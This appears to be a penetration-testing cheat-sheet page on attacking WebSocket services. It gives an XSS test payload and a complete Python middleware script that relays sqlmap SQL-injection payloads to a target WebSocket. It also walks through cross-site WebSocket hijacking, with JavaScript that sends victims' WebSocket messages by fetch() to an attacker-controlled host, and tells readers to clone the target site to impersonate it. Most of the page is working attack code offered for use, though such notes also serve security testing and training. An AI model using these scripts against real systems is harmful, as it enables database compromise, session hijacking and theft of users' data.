icon

WebSocket Pentesting

Last modified: 2023-03-08

WebSocket is a protocol that provides full-duplex communication channels over a single single TCP connection.

Connect with CLI

websocat is a command-line client for WebSockets, like netcat for

websocat ws://<ip>/

Connect with Python Script

import websocket,json

ws = websocket.WebSocket()
ws.connect("ws://10.0.0.1/")
d = {"message": "hello"}
data = str(json.dumps(d))
ws.send(data)
result = ws.recv()
print(json.loads(result))

As above, we can manipulate the data to send. For example,

{"message": "<script>alert(1)</script>"}

If the website reflects the result of the above interactions, we can affect the website.


Blind SQL Injection

First, create a Python script to establish a middleware server to forward sqlmap payloads to the target WebSocket server.
The script name is “server.py” here. Also we need to install websocket-client Python package.

from http.server import SimpleHTTPRequestHandler
from socketserver import TCPServer
from urllib.parse import unquote, urlparse
from websocket import create_connection

ws_server = "ws://<target-ip-for-websocket>/"

def send_ws(payload):
    ws = create_connection(ws_server)

    message = unquote(payload).replace('"', '\'')
    data = '{"id":"%s"}' % message

    ws.send(data)
    resp = ws.recv()
    ws.close()

    if resp:
        return resp
    else:
        return ''

def middleware_server(host_port, content_type="text/plain"):

    class CustomHandler(SimpleHTTPRequestHandler):
        def do_GET(self) -> None:
            self.send_response(200)
            try:
                payload = urlparse(self.path).query.split('=',1)[1]
            except IndexError:
                payload = False

            if payload:
                content = send_ws(payload)
            else:
                content = 'No parameters specified!'

            self.send_header("Content-Type", content_type)
            self.end_headers()
            self.wfile.write(content.encode())
            return

    class _TCPServer(TCPServer):
        allow_reuse_address = True

    httpd = _TCPServer(host_port, CustomHandler)
    httpd.serve_forever()

print("[+] Starting Middleware Server")
print("[+] Send payloads in http://localhost:8081/?id=*")

try:
    middleware_server(('0.0.0.0', 8081))
except KeyboardInterrupt:
    pass

Then start middleware server by running the above script.

python3 server.py

Finally execute sqlmap.

sqlmap -u "http://localhost:8081/?id=*" --batch --dbs
sqlmap -u "http://localhost:8081/?id=*" --batch --dbs --risk 3 --level 5

For details, see this awesome post.


Cross-Site WebSocket Hijacking

  1. Send messages in the target web page like chat room using WebSocket.

  2. Check the WebSocket handshake connection in the request as below. It contains the “Connection: Upgrade”, “Upgrade: websocket”, “Sec-WebSocket-Key”, etc. in the request header.

    GET /chat HTTP/1.1
    Host: vulnerable.com
    Connection: Upgrade
    Upgrade: websocket
    Sec-WebSocket-Version: 13
    Cookie: session=wUTqcDb41l4jbfPUt0XKl36FNh36aSrBl
    Sec-WebSocket-Key: NZxnyRVz0Z9yGnOyqAWl4Q==
    
  3. If there is no CSRF token in the request, we can CSRF on WebSocket.

  4. In our WebSocket server, create the script.

    <script>
    var ws = new WebSocket('wss://<target-url>/chat');
    ws.onopen = function() {
        ws.send("READY");
    };
    ws.onmessage = function(event) {
        fetch('https://<local-ip>', {method: 'POST', mode: 'no-cors', body: event.data});
    };
    </script>
    
  5. In our attack website, copy files of the target and paste to our web directory to impersonate the target website.

    Start web server using Python.

    sudo python3 -m http.server 80